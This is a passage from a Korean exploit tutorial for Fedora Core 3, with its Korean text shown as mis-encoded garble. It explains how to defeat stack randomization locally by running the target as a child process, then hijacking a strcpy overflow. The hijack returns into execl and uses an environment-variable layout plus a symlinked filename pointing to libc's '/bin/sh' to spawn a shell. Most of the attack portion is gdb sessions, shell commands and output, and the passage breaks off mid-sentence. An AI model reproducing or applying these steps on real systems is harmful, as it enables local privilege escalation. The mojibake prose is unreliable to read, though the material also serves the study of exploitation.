--------------------------------------------------------------------------------------------------- Á¦¸ñ: Fedora Core3 ½Ã½ºÅÛ local ±â¹Ý ·£´ý ½ºÅà ¹«·ÂÈ­(?) ±â¹ý (Fedora Core 3 based local random-stack brute-force breaker) ºÎÁ¦: ¹«½ÄÇÏ°Ô ÂïÁö¸¸ ¸»°í -_- Á» ´õ Áö´ÉÀûÀÎ Âï±â°¡ ÇÊ¿äÇÑ ½ÃÁ¡. Å×½ºÆ® ȯ°æ: Fedora Core release 3 (Heidelberg) Linux 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 ÀÛ¼ºÀÚ: À¯µ¿ÈÆ - Xpl017Elz http://x82.inetcop.org --------------------------------------------------------------------------------------------------- À̹ø¿¡ ¼³¸íÇÏ´Â local ±â¹Ý ·£´ý ½ºÅà ¹«·ÂÈ­(?) ±â¹ý ¿ª½Ã »õ·Î¿î ±â¼úÀº ¾Æ´Õ´Ï´Ù. ÀÌ ±â¹ý ¿ª½Ã ´©±¸³ª »ý°¢ÇÒ ¼ö ÀÖÀ¸¸ç °ø°Ý Àû¿ëÀÌ °¡´ÉÇÑ exploit method ÀÔ´Ï´Ù. ÀÌ ¹æ¹ýÀ» ÅëÇØ »ç¿ëÀÚ°¡ stack¿¡ ÀÔ·ÂÇÏ´Â ³»¿ëÀ» Á¶±Ý ´õ ½±°Ô ãÀ» ¼ö ÀÖ°í, ÀÌ¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. ´Ü¼øÈ÷ stack¿¡ ÀÔ·ÂÇÏ´Â µ¥ÀÌÅ͸¦ Ȱ¿ëÇÏ´Â °Í¸¸À¸·Î ¹öÆÛ ¿À¹öÇ÷οì¿Í Æ÷¸Ë ½ºÆ®¸µ °ø°Ý¿¡ ÇÑÃþ ´õ À¯¸®ÇÏ´Ù´Â Á¡À» Áõ¸íÇÒ °ÍÀÔ´Ï´Ù. Á¦¸ñ¿¡´Â ·£´ý ½ºÅà ¹«·ÂÈ­ ±â¹ýÀ̶ó°í Á¤ÀÇÇØµÎ¾úÁö¸¸, ÁÁÀº ¸»·Î ½á¼­ ¹«·ÂÈ­ ±â¹ýÀÏ »Ó, ¸¶Âù°¡ÁöÀÇ Âï±â ³ë°¡´Ù °ø°ÝÀÔ´Ï´Ù. ÀÌ·¸°Ô ¸ÕÀú ¸»¾¸µå¸®´Â ÀÌÀ¯´Â ·£´ý ½ºÅà ¹«·ÂÈ­ ¾Ë°í¸®Áò¿¡ ´ëÇØ ¹ÌÄ¥µíÇÑ ±Ã±ÝÁõÀÌ Àְųª ±×°ÍÀ» ¸¶Ä¡ ü°èÀûÀÎ ÀÌ·ÐÀ¸·Î Ç®°íÀÚÇÏ´Â ±×·± ºÐµé¿¡°Ô´Â º°´Ù¸¥ µµ¿ò ¾ÈµÇ´Â ¹®¼­°¡ µÇ¸®¶ó ÆÇ´ÜÇ߱⠶§¹®ÀÔ´Ï´Ù. ÀÌ ±ÛÀº ´ÜÁö ·£´ý ½ºÅà ½Ã½ºÅÛ »óÀÇ local ±â¹Ý °ø°Ý¿¡ ¼º°ø·üÀ» ³ôÀ̰íÀÚ ¾²ÀÎ ¹®¼­ÀÔ´Ï´Ù. (ÀÌ·¸°Ô ¸ÕÀú ±ÛÀÇ ¼º°ÝÀ» ¸»¾¸µå·ÈÀ¸´Ï ¾µ¸ð¾ø´Ù ÆÇ´ÜµÇ½Ã´Â ºÐµéÀº »ìÆ÷½Ã ¹®¼­¸¦ ´Ý¾ÆÁÖ¼¼¿ä ^^) ³ÌµÎ¸®´Â ÀÌÂëÇØµÎ°í ½ÇÁúÀûÀÎ °ø°Ý ¾Ë°í¸®Áò¿¡ ´ëÇØ ¾Ë¾Æº¸µµ·Ï ÇϰڽÀ´Ï´Ù. * ·£´ý ½ºÅÿ¡ ´ëÇØ¼­. ·£´ý ½ºÅÃÀº ¸» ±×´ë·Î ½ºÅÃÀÇ ÁÖ¼Ò°¡ ¹Ù²ï´Ù¶ó´Â ¶æÀÔ´Ï´Ù. ½ºÅÃÀ̶õ °ø°£Àº »ç¿ëÀÚ°¡ ½ÇÇàÇÑ ÇÁ·Î±×·¥ ³»ÀÇ À¯µ¿ÀûÀÎ µ¥ÀÌÅ͸¦ ó¸®ÇÏ´Â ÀúÀå¼Ò¶ó ÇÒ ¼ö ÀÖÁÒ. ÀÌ °ø°£ÀÇ ¼Ó¼º »ó, ÇÁ·Î±×·¥ÀÌ ÀÐ°í ¾²°í ¶Ç ½ÇÇàÇÒ ¼ö ÀÖ´Â ¿µ¿ªÀ̱⠶§¹®¿¡ °ú°ÅºÎÅÍ ÇØÄ¿µéÀº ¼º°øÀûÀÎ exploitÀ» À§ÇØ ÀÌ °ø°£À» ÀÌ¿ëÇϰï Çß½À´Ï´Ù. Àá±ñ, nonexec-stack¿¡ ´ëÇØ¼­µµ ¼³¸íÀ» µ¡ºÙÀδٸé, ½ºÅÃÀÇ ¼Ó¼ºÀ» ¾à°£ º¯°æÇÏ¿© ½ÇÇàÇÒ ¼ö ÀÖ´Â ±ÇÇÑÀ» Á¦°ÅÇØ¹ö¸° »óŶó ÇÒ ¼ö ÀÖ½À´Ï´Ù. ±×·±µ¥ ÀÌ ¿µ¿ªÀÇ À§Ä¡°¡ °¡º¯ÀûÀ̱â±îÁö ÇÏ´Ù¸é, Á¤¸» ÇØÄ¿µéÀÌ ½ºÅà °ø°£À» ÀÌ¿ëÇØ °ø°ÝÇϱâ¶õ Èûµé¾îÁö°Ú±º¿ä. ±×·¡¼­ ÇØÄ¿µéµµ ³ª¸§´ë·Î´Â °¢ÀÚÀÇ ¿¬±¸ ³¡¿¡ ½ºÅà ¿µ¿ª ¾øÀ̵µ °ø°ÝÇѴٰųª, ½ºÅà ¿µ¿ªÀ» ÀûÀýÈ÷ Ȱ¿ëÇÏ´Â ³ëÇϿ츦 ÅëÇØ °ø°Ý¿¡ ¼º°øÇÒ ¼ö ÀÖµµ·Ï ¸¹Àº ±â¼úµéÀ» °³¹ßÇϰí ÀÖ½À´Ï´Ù. ¾ÆÁ÷±îÁø °ú°Å Phrack 49-14 Aleph1ÀÇ ±Ûó·³ °ø½ÄÈ­µÈ ±â¹ýÀÌ ³ª¿ÀÁø ¾ÊÀº °Í °°½À´Ï´Ù. (¾ÕÀ¸·Îµµ ÈûµéÁö ¸ð¸£Áö¿ä.) ½ÇÁ¦ ·£´ý ½ºÅÿ¡ ´ëÇØ »ìÆìº¸µµ·Ï ÇϰڽÀ´Ï´Ù. -- (gdb) br main Breakpoint 1 at 0x804836e (gdb) r xxxx Starting program: /var/tmp/strcpy xxxx (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x0804836e in main () (gdb) x/x $ebp 0xfeefcb78: 0xfeefcbd8 (gdb) x/x $esp 0xfeefcb70: 0x00000000 (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /var/tmp/strcpy xxxx (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x0804836e in main () (gdb) x/x $ebp 0xfef34f08: 0xfef34f68 (gdb) x/x $esp 0xfef34f00: 0x00000000 (gdb) -- ¾î¶²°¡¿ä? °°Àº ÇÁ·Î±×·¥À» µÎ ¹ø Á¤µµ ½ÇÇàÇØº» °á°ú ¸Å¹ø stackÀÇ °ªÀÌ º¯ÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ¿ì¸®´Â ¹Ù·Î ÀÌ·± ¹®Á¦¸¦ ÇØ°áÇÏ¿© ¿ì¸®°¡ ¿øÇÏ´Â stack ³»ÀÇ °ªÀ» Àаųª ¾²µµ·Ï ÇÒ °ÍÀÔ´Ï´Ù. * ·£´ý ½ºÅà µû¶ó Àâ±â. ¹«Åδë°í stackÀÇ ÁÖ¼Ò¸¦ Âï´Â´Ù´Â °ÍÀº ¸Å¿ì ÇǰïÇÑ ÀÏÀÔ´Ï´Ù. ±×·¡¼­ ´ÙÀ½°ú °°Àº ¹æ¹ýÀ» »ç¿ëÇØº¸¾Ò½À´Ï´Ù. -- [root@localhost test]# cat test.c int main() { char buf[8]; printf("%p\n",&buf); } [root@localhost test]# cat test1.c int main() { char buf[8]; printf("%p\n",&buf); } [root@localhost test]# ./test ; ./test1 0xfefe1910 0xfefd5a40 [root@localhost test]# ./test ; ./test1 0xfefb5360 0xfef21490 [root@localhost test]# ./test ; ./test1 0xfeedeb10 0xfef0f750 [root@localhost test]# ./test ; ./test1 0xfefd32d0 0xfefe53a0 [root@localhost test]# ./test ; ./test1 0xfef096f0 0xfeea1860 [root@localhost test]# ./test ; ./test1 0xfee0b210 0xfefb5750 [root@localhost test]# -- ¿ì¼±, stackÀÇ ±¸¼ºÀ» ºñ½ÁÇϵµ·Ï ¸¸µç µÎ ÇÁ·Î±×·¥À» µ¿½Ã¿¡ ½ÇÇà½ÃÄѺ» °á°ú µÎ ½ºÅÃÀÌ ÀüÇô ÀÏÄ¡ÇÏÁö ¾Ê´Â´Ù´Â °ÍÀ» È®ÀÎÇß½À´Ï´Ù. ±×·¯³ª, ´ÙÀ½°ú °°ÀÌ ÇÁ·Î±×·¥À» ´Ù¸¥ ÇÁ·Î±×·¥ÀÇ ÀÚ½ÄÇÁ·Î¼¼½º·Î ½ÇÇàÇØº¸¸é Àç¹ÌÀÖ´Â Çö»óÀÌ ¹ß»ýÇÕ´Ï´Ù. -- [root@localhost test]# cat test.c int main() { char buf[8]; printf("%p\n",&buf); execl("./test1","test1",0); } [root@localhost test]# cat test1.c int main() { char buf[8]; printf("%p\n",&buf); } [root@localhost test]# ./test 0xfee9cff0 0xfef13240 [root@localhost test]# ./test 0xfefcb3d0 0xfefd9800 [root@localhost test]# ./test 0xfeeb0d90 0xfef85010 [root@localhost test]# ./test 0xfef799d0 0xfef4d830 [root@localhost test]# ./test 0xfeee17f0 0xfeee17f0 <=== ÀÏÄ¡ [root@localhost test]# ./test 0xfee3d510 0xfef38e70 [root@localhost test]# -- À§ °á°ú¸¦ º¸¸é, stackÀ» À¯ÃßÇÏ´Â ÀÏÀÌ ±×¸® ¾î·ÆÁö¸¸Àº ¾Ê´Ù´Â »ç½ÇÀ» º¸¿©ÁÖ°í ÀÖ½À´Ï´Ù. 5~6ȸ °ø°Ý¿¡ ÇÑ ¹ø ÀÌ»ó stackÀÌ ÀÏÄ¡Çϱ⸸ ÇØµµ, °ø°ÝÀº ¸Å¿ì ¼ö¿ùÇØÁý´Ï´Ù. ÀÌ·¯ÇÑ »ç½ÇÀ» ÅëÇØ ÇÁ·Î±×·¥ÀÇ È¯°æ º¯¼ö °ªºÎÅÍ °ø°ÝÇϰíÀÚ ÇÏ´Â ÇÁ·Î±×·¥ÀÇ return address±îÁö ÃßÃø °¡´ÉÇÏ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ÀÌ ¹æ¹ýÀÇ Àå´ÜÁ¡¿¡ ´ëÇØ °£´ÜÈ÷ ¼³¸íÇϰڽÀ´Ï´Ù. ¿ì¼±, ÀÌ ¹æ¹ýÀÇ ÀåÁ¡Àº stack À̶ó´Â °ø°£À» Ȱ¿ëÇÒ ¼ö Àֱ⠶§¹®¿¡ ºÒ°¡´ÉÇÒ °ÍÀ¸·Î¸¸ »ý°¢µÆ´ø ¿©·¯°¡Áö °ø°ÝµéÀÇ Àû¿ëÀÌ °¡´ÉÇØÁ³´Ù´Â Á¡ÀÔ´Ï´Ù. ±×·¯³ª °ø°Ý target ÇÁ·Î±×·¥°ú ½ºÅÃÀÇ °ªÀ» Á¤È®È÷ ÀÏÄ¡½Ã۱â À§ÇØ º¯¼öÀÇ Å©±â À¯Ãß ¹× Á¤È®ÇÑ µð¹ö±ë °úÁ¤ÀÌ ¹Ýµå½Ã ÇÊ¿äÇÕ´Ï´Ù. (¾à°£ÀÇ °è»ê °úÁ¤ÀÌ ÇÊ¿äÇÒ ¼öµµ ÀÖ½À´Ï´Ù.) ÀÌ·± °úÁ¤µé°ú ÇÔ²² ÀÚ½Ä ÇÁ·Î¼¼½º·Î ½ÇÇàÇØ¾ß µÈ´Ù´Â Á¦¾à »çÇ×ÀÌ Àֱ⠶§¹®¿¡ remote °ø°ÝÀº ½ÃµµÇÒ ¼ö ¾ø´Â °ÍÀÌ ´ÜÁ¡ÀÔ´Ï´Ù. ¹Ýµå½Ã local ±â¹Ý °ø°Ý¿¡¼­¸¸ Àû¿ë °¡´ÉÇÕ´Ï´Ù. * µû¶ó ÀâÀº ·£´ý ½ºÅà »ó¿¡¼­ ¿À¹öÇÃ·Î¿ì °ø°Ý ½ÃµµÇÏ±â Æäµµ¶ó ½Ã½ºÅÛ¿¡¼­´Â 16m ¹Ì¸¸ÀÇ ¶óÀ̺귯¸® ÁÖ¼Ò¸¦ Áö¿øÇϱ⠶§¹®¿¡ ¿©·¯ ÇÔ¼ö¸¦ call ÇÏ´Â °ÍÀÌ Çã¿ëµÇÁö ¾Ê½À´Ï´Ù. ¶ÇÇÑ, ÇÔ¼öÀÇ ÀÎÀÚ·Î ¼³Á¤µÇ´Â °ªµéÀ» ÀÔ·ÂÇÒ ¼ö ¾ø±â ¶§¹®¿¡ °ø°ÝÀÌ ´Ù¼Ò ±î´Ù·Î¿öÁø ÆíÀÌÁÒ. (À̸¦Å׸é, execl ÇÔ¼öÀÇ ÀÎÀÚ·Î ½ÇÇàÇÒ °ªÀ» ¸Þ¸ð¸® ÁÖ¼Ò¿¡¼­ ãÀº ÈÄ, ÇØ´ç ÁÖ¼Ò¿¡ ÀÖ´Â °ªµéÀ» Á÷Á¢ symlink ÇÏ¿© shellÀ» ½ÇÇàÇÏ´Â ¹æ½ÄÀÔ´Ï´Ù.) ÇÏÁö¸¸, ¿ì¸®°¡ stack»ó¿¡¼­ ¿øÇÏ´Â °ªÀ» ã¾Æ ¾òÀ» ¼ö ÀÖ´Ù¸é ÀÌ·¯ÇÑ °úÁ¤À» °ÅÄ¡Áö ¾Ê°í shell ½ÇÇàÀÌ °¡´ÉÇÕ´Ï´Ù. ±×·³, °ø°ÝÀÇ ½Ã³ª¸®¿À¿¡ ´ëÇØ °£´ÜÈ÷ ¼³¸íÇϰڽÀ´Ï´Ù. 1. return address¸¦ execl+3 ÁÖ¼Ò µ¤¾î¾º¿î´Ù. ($ebp ·¹Áö½ºÅÍÀÇ º¯°æÀÌ ³¡³­ ½ÃÁ¡) 2. ȯ°æ º¯¼öÀÇ ¸¶Áö¸·¿¡ ÀÚ¸®Àâ´Â NULL 4byte ¹Ù·Î ¾Õ¿¡ execl ÀÎÀÚ·Î ¾µ ¼¼ °³ÀÇ °ªÀ» ¸¸µç´Ù. (int execl( const char *path, const char *arg, ...); - ÃÑ ¼¼ °³ÀÇ ÀÎÀÚ°¡ µé¾î°¨) 3. 2¹ø¿¡¼­ ¼³Á¤ÇÑ ÁÖ¼Ò°¡ ¾Ë¸Â°Ô ÀÎÀÚ°ªÀ¸·Î ¾²ÀÏ ¼ö ÀÖµµ·Ï $ebp ·¹Áö½ºÅ͸¦ Á¶Á¤ÇÑ´Ù. ($ebp + 8 À§Ä¡ ºÎÅÍ Ã¹ ¹øÂ° ÀÎÀÚ¸¦ Àоî¿À¹Ç·Î, ÀÌ¿¡ ¸Â°Ô Á¶Á¤ÇØÁØ´Ù.) ¿ø¸®´Â ÀÌ¹Ì ¾Ë·ÁÁø execl ÇÔ¼ö °ø°Ý ±â¹ýÀ̱⠶§¹®¿¡ »ý·«ÇϰڽÀ´Ï´Ù. Áß¿äÇÑ ÇÙ½É Æ÷ÀÎÆ®´Â ¿ì¸®°¡ ÇÊ¿ä·Î ÇÏ´Â ÀÎÀÚ °ªÀÇ À§Ä¡¸¦ stack »ó¿¡ ¸¸µç´Ù´Â »ç½ÇÀÔ´Ï´Ù. execl ¸¶Áö¸· ÀÎÀÚÀÇ NULL °ªÀº ȯ°æ º¯¼öÀÇ ³¡ ºÎºÐÀ» ÀÌ¿ëÇÏ¿© exploit ÇÒ ¼ö ÀÖ½À´Ï´Ù. ¾î¶°ÇÑ ±¸Á¶·Î °ø°ÝÀÌ °¡´ÉÇÑÁö ½ÇÁ¦·Î »ìÆìº¸µµ·Ï ÇϰڽÀ´Ï´Ù. -- °ø°Ý ´ë»ó ÇÁ·Î±×·¥ ¼Ò½º: -- int main(int argc,char *argv[]) { char buf[8]; strcpy(buf,argv[1]); } -- main() ÇÔ¼ö ³»¿¡ ÀϹÝÀûÀÎ ¹öÆÛ ¿À¹öÇ÷οì Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â code¸¦ ÅëÇØ exploit ÇØº¼ °ÍÀÔ´Ï´Ù. -- (gdb) br main Breakpoint 1 at 0x8048441 (gdb) r xxx Starting program: /var/tmp/i xxx (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x08048441 in main () (gdb) x/x &environ 0xf6fdd19c : 0xfee29090 <=== ÇöÀç ȯ°æº¯¼ö Æ÷ÀÎÅÍ (gdb) x 0xfee29090 0xfee29090: 0xfef14c71 <=== ȯ°æº¯¼ö ½ÃÀÛ À§Ä¡ (gdb) x/s 0xfef14c71 0xfef14c71: "HOSTNAME=localhost" (gdb) 0xfef14c84: "TERM=xterm" (gdb) 0xfef14c8f: "SHELL=/bin/bash" (gdb) 0xfef14c9f: "HISTSIZE=1000" (gdb) 0xfef14cad: "USER=root" (gdb) 0xfef14cb7: "LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41: ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00"... (gdb) 0xfef14d7f: ";32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2 =00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;3"... (gdb) 0xfef14e47: "5:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:" (gdb) 0xfef14e7a: "COLUMNS=80" (gdb) 0xfef14e85: "PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R 6/bin:/root/bin" (gdb) 0xfef14f05: "MAIL=/var/spool/mail/root" (gdb) 0xfef14f1f: "_=/bin/bash" (gdb) 0xfef14f2b: "PWD=/var/tmp" (gdb) 0xfef14f38: "INPUTRC=/etc/inputrc" (gdb) 0xfef14f4d: "LANG=en_US.UTF-8" (gdb) 0xfef14f5e: "LINES=24" (gdb) 0xfef14f67: "SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass" (gdb) 0xfef14f9a: "HOME=/root" (gdb) 0xfef14fa5: "SHLVL=1" (gdb) 0xfef14fad: "LOGNAME=root" (gdb) 0xfef14fba: "LESSOPEN=|/usr/bin/lesspipe.sh %s" (gdb) 0xfef14fdc: "G_BROKEN_FILENAMES=1" (gdb) 0xfef14ff1: "/var/tmp/i" (gdb) x/s 0xfef14ff1-2 0xfef14fef: "1" (gdb) 0xfef14ff1: "/var/tmp/i" (gdb) 0xfef14ffc: "" (gdb) x/x 0xfef14ff1-2 0xfef14fef: 0x762f0031 (gdb) 0xfef14ff3: 0x742f7261 ~~~~~~~~~~ <=== execl ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ·Î ¾²ÀÏ À§Ä¡ (gdb) 0xfef14ff7: 0x692f706d ~~~~~~~~~~ <=== execl ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ·Î ¾²ÀÏ À§Ä¡ (gdb) 0xfef14ffb: 0x00000000 ~~~~~~~~~~ <=== execl ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ·Î ¾²ÀÏ À§Ä¡ (gdb) -- Àß »ìÆìº¸¸é, G_BROKEN_FILENAMES ȯ°æº¯¼ö¸¦ ¸¶Áö¸·À¸·Î ½ÇÇà ÁßÀÎ ÆÄÀÏ °æ·Î°¡ À§Ä¡ÇØ ÀÖ´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ±×¸®°í ȯ°æº¯¼ö ³¡ ºÎºÐ¿¡ 4byteÀÇ NULL °ªÀÌ ÀÚ¸® Àâ°í ÀÖ´Ù´Â »ç½Çµµ ¾Ë ¼ö ÀÖ±¸¿ä. ÀÌ °°Àº »óȲµéÀ» Àß ÀÌ¿ëÇϸé, execl ÇÔ¼öÀÇ ÀÎÀÚ¸¦ ¸¸µå´Âµ¥ ¹®Á¦°¡ ¾øÀ» °Í °°±º¿ä. ¿ì¼±, ÆÄÀÏ À̸§À» symlink¸¦ ÀÌ¿ëÇÏ¿© "/bin/sh"ÀÇ À§Ä¡·Î º¯°æÇÕ´Ï´Ù. ±×¸®°í, ÀÌ °ªµéÀ» Àоî¿Ã¶§´Â ȯ°æº¯¼öÀÇ ¸¶Áö¸· À§Ä¡¿¡ ÀÖ´Â G_BROKEN_FILENAMES º¯¼ö¸¦ ¾ò¾î¿À¸é µË´Ï´Ù. °£´ÜÇÏÁö ¾ÊÀº°¡¿ä? ½ÇÁ¦·Î ´ÙÀ½°ú °°ÀÌ ±¸¼ºÇÒ ¼ö ÀÖ½À´Ï´Ù. -- [root@localhost tmp]# ldd i libc.so.6 => /lib/tls/libc.so.6 (0xf6eb8000) /lib/ld-linux.so.2 (0xf6fe9000) [root@localhost tmp]# objdump -s /lib/tls/libc.so.6 |grep /bin/sh 117600 2d63002f 62696e2f 73680065 78697420 -c./bin/sh.exit [root@localhost tmp]# gdb -q i (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) br main Breakpoint 1 at 0x804863d (gdb) r xxxx Starting program: /var/tmp/i xxxx (no debugging symbols found)...(no debugging symbols found)... (gdb) x/s 0xf6eb8000 + 0x117603 0xf6fcf603 <__libc_ptyname1+2172>: "/bin/sh" <=== ¸ÕÀú libc.so »óÀÇ "/bin/sh" À§Ä¡¸¦ ±¸Çß½À´Ï´Ù. (gdb) q The program is running. Exit anyway? (y or n) y [root@localhost tmp]# ln -s i `printf "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6"` [root@localhost tmp]# gdb -q `printf "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6"` (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) br main Breakpoint 1 at 0x804863d (gdb) r xxxx Starting program: /var/tmp/öüööüö xxxx (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x0804863d in main () (gdb) x/x &environ 0xf6fdd19c : 0xfefdcb90 (gdb) x/x 0xfefdcb90 0xfefdcb90: 0xfefeec6a (gdb) x/s 0xfefeec6a 0xfefeec6a: "HOSTNAME=localhost" (gdb) 0xfefeec7d: "TERM=xterm" (gdb) 0xfefeec88: "SHELL=/bin/bash" (gdb) 0xfefeec98: "HISTSIZE=1000" (gdb) 0xfefeeca6: "USER=root" (gdb) 0xfefeecb0: "LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41: ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00"... (gdb) 0xfefeed78: ";32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2 =00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;3"... (gdb) 0xfefeee40: "5:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:" (gdb) 0xfefeee73: "COLUMNS=80" (gdb) 0xfefeee7e: "PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R 6/bin:/root/bin" (gdb) 0xfefeeefe: "MAIL=/var/spool/mail/root" (gdb) 0xfefeef18: "_=/bin/bash" (gdb) 0xfefeef24: "PWD=/var/tmp" (gdb) 0xfefeef31: "INPUTRC=/etc/inputrc" (gdb) 0xfefeef46: "LANG=en_US.UTF-8" (gdb) 0xfefeef57: "LINES=24" (gdb) 0xfefeef60: "SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass" (gdb) 0xfefeef93: "HOME=/root" (gdb) 0xfefeef9e: "SHLVL=1" (gdb) 0xfefeefa6: "LOGNAME=root" (gdb) 0xfefeefb3: "LESSOPEN=|/usr/bin/lesspipe.sh %s" (gdb) 0xfefeefd5: "G_BROKEN_FILENAMES=1" (gdb) 0xfefeefea: "/var/tmp/\003öü?003öü? (gdb) x/x 0xfefeeff4-13 0xfefeefe7: 0x2f00313d (gdb) 0xfefeefeb: 0x2f726176 (gdb) 0xfefeefef: 0x2f706d74 (gdb) 0xfefeeff3: 0xf6fcf603 ~~~~~~~~~~ <=== execl ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ·Î ¾²ÀÏ À§Ä¡ (gdb) 0xfefeeff7: 0xf6fcf603 ~~~~~~~~~~ <=== execl ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ·Î ¾²ÀÏ À§Ä¡ (gdb) 0xfefeeffb: 0x00000000 ~~~~~~~~~~ <=== execl ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ·Î ¾²ÀÏ À§Ä¡ (gdb) x/s 0xf6fcf603 0xf6fcf603 <__libc_ptyname1+2172>: "/bin/sh" (gdb) -- ¿Ïº®ÇÏ°Ô execl ÇÔ¼ö ÀÎÀÚ¸¦ stack ³»¿¡ ±¸ÇöÇÏ¿´½À´Ï´Ù. ÀÌÁ¦ ¿ì¸®ÀÇ exploitÀÌ ÀÌ À§Ä¡¸¦ ã¾Æ °ø°Ý target ÇÁ·Î±×·¥ÀÇ $ebp ·¹Áö½ºÅÍ·Î º¯°æÇÏ¸é µÉ °Í °°³×¿ä. ÇÏÁö¸¸ exploit code¸¦ ±¸µ¿ÇØ º» °á°ú, Áö±Ý±îÁö µð¹ö±ëÇØ¿Â °úÁ¤¿¡¼­ ¾ò¾î¿Â °ª°ú ½ÇÁ¦ °ø°Ý ½Ã ȯ°æº¯¼ö À§Ä¡ °ªÀÌ ´Ù¸¥ °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ¾ú½À´Ï´Ù. ÀÏ´Ü È¯°æº¯¼ö ³¡ ºÎºÐÀÇ ´Þ¶óÁø ¸Þ¸ð¸® ºÎºÐ¸¸ ¾ò¾îº¸¸é ´ÙÀ½°ú °°½À´Ï´Ù. -- exploit ÇÁ·Î±×·¥À» ½ÇÇàÇßÀ» ¶§ ȯ°æ º¯¼ö ³¡ ºÎºÐ -- "G_BROKEN_FILENAMES=1" "\x00" "_=./exploit" "\x00" "./exploit" "\x00\x00\x00\x00" -- "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6"·Î À̸§À» º¯°æÇÑ °ø°Ý ´ë»ó ÇÁ·Î±×·¥ ȯ°æ º¯¼ö ³¡ ºÎºÐ -- "G_BROKEN_FILENAMES=1" "\x00" "_=./exploit" "\x00" "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6" "\x00\x00\x00\x00" -- gdb µð¹ö±ë ½Ã, ¹ß°ßµÇÁö ¾Ê¾Ò´ø "_=./exploit"Àº ¹«¾ùÀϱî¿ä? ³×, ±×·¸½À´Ï´Ù. Ä¿¸àµå ¶óÀÎÀ¸·Î ½ÇÇàÇÑ ¸¶Áö¸· ¸í·ÉÀÌ ±â·ÏµÈ °ÍÀÔ´Ï´Ù. ºÎ¸ð¿Í ÀÚ½Ä °ü°è·Î ½ÇÇàµÇ´Â µÎ ÇÁ·Î¼¼½ºÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¸ÂÃß·Á¸é ȯ°æº¯¼öÀÇ À§Ä¡ °ªµµ °°¾ÆÁ®¾ß °ÚÁÒ. ±×·¡¼­ 8byteÀÇ À̸§À» Â÷ÁöÇÏ´Â °ø°Ý ´ë»ó ÇÁ·Î±×·¥°ú µ¿ÀÏÇÏ°Ô exploitÀÇ ½ÇÇà °æ·Îµµ 8byte·Î º¯°æÇØÁÝ´Ï´Ù. ¾Õ¿¡ "./"°¡ ºÙ±â ¶§¹®¿¡ À̸§À» 6ÀÚ¸®·Î ¸ÂÃßµµ·Ï ÇϰڽÀ´Ï´Ù. ÀÌ·¸°Ô ¸ÂÃß°í ³ª¸é °ø°Ý ÈÄ, ´ÙÀ½°ú °°Àº ¸Þ¸ð¸® »óŰ¡ µË´Ï´Ù. -- "G_BROKEN_FILENAMES=1" "\x00" "_=./XXXXXX" (exploit À̸§À» XXXXXXÀ¸·Î º¯°æ ÈÄ, ½ÇÇà) "\x00" "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6" (°ø°Ý ´ë»ó ÇÁ·Î±×·¥ÀÇ À̸§À» symlink·Î º¯°æ) "\x00\x00\x00\x00" -- ¿ì¸®°¡ ¾òÀº G_BROKEN_FILENAMES ȯ°æº¯¼öÀÇ À§Ä¡´Â ¹®ÀÚ¿­ "1"ÀÌ ÀÖ´Â ºÎºÐÀ̹ǷÎ, execl ÇÔ¼ö ù ¹øÂ° ÀÎÀÚ·Î ¾²ÀÏ À§Ä¡´Â º¯¼öº¸´Ù 13byte ÈÄ¿¡ ÀÖ´Â °ÍÀ» ¾Ë ¼ö 